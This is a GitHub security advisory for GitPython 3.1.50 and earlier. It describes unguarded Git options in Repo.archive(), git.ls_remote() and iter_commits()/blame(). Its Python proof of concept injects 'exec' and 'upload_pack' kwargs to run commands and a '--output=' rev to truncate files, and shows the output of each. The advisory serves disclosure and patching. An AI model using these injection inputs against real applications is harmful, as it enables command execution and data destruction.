Skip to content

command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`

High
Byron published GHSA-956x-8gvw-wg5v Jul 12, 2026

Package

pip GitPython (pip)

Affected versions

<= 3.1.50

Patched versions

>= 3.1.51

Description

Hello,

GitPython already knows --upload-pack / --exec are command-exec vectors, they're denylisted in git/remote.py:535 and checked by Git.check_unsafe_options() (git/cmd.py:963). Problem: that check is only called from fetch, pull, push and clone_from. Everything else building a git argv from caller values just goes through. Three examples:

Repo.archive (git/repo/base.py:1623) does self.git.archive("--", treeish, *path, **kwargs). treeish is after --, fine, but kwargs get dashified by transform_kwarg (git/cmd.py:1487) and land before it. So {"remote": ".", "exec": "<cmd>"} gives git archive --remote=. --exec=<cmd> -- <rev>. --remote spawns the upload-archive helper, --exec picks which binary that is. Boom, default git config, no protocol.ext.allow needed. And archive already documents caller kwargs (format, prefix, path), passing a dict through is normal usage.

repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result. This is exactly the kwarg gap CVE-2026-42215 closed for fetch/pull/push/clone_from, except the dynamic repo.git.<anything>(**user_dict) surface never got the fix.

Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put rev before the --, no leading-dash check. A "branch name" like --output=/etc/whatever becomes git rev-list --output=... --, and git opens+truncates that file before it even validates the revision. File's gone even though the command errors out right after.

PoC

Released 3.1.50, git 2.51.0, stock config (git config --get protocol.ext.allow returns nothing here).

pip install GitPython   # 3.1.50

Common setup for the three:

import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
                'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
tmp = tempfile.gettempdir()

1. exec via archive (a service exports a repo and forwards the user's options dict):

m = os.path.join(tmp, 'gp_archive_check')
try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True

2. exec via ls_remote:

m = os.path.join(tmp, 'gp_lsremote_check')
try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True

3. file clobber via a rev that looks like a ref:

v = os.path.join(tmp, 'release_notes.txt')
open(v,'w').write('do not delete\n')
print('[*] before:', repr(open(v).read()))
try: list(repo.iter_commits('--output=' + v))
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] after :', repr(open(v).read()), '<- truncated')
[*] before: 'do not delete\n'
[*] Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Special Elements used in a Command ('Command Injection')

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Learn more on MITRE.

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. Learn more on MITRE.

Credits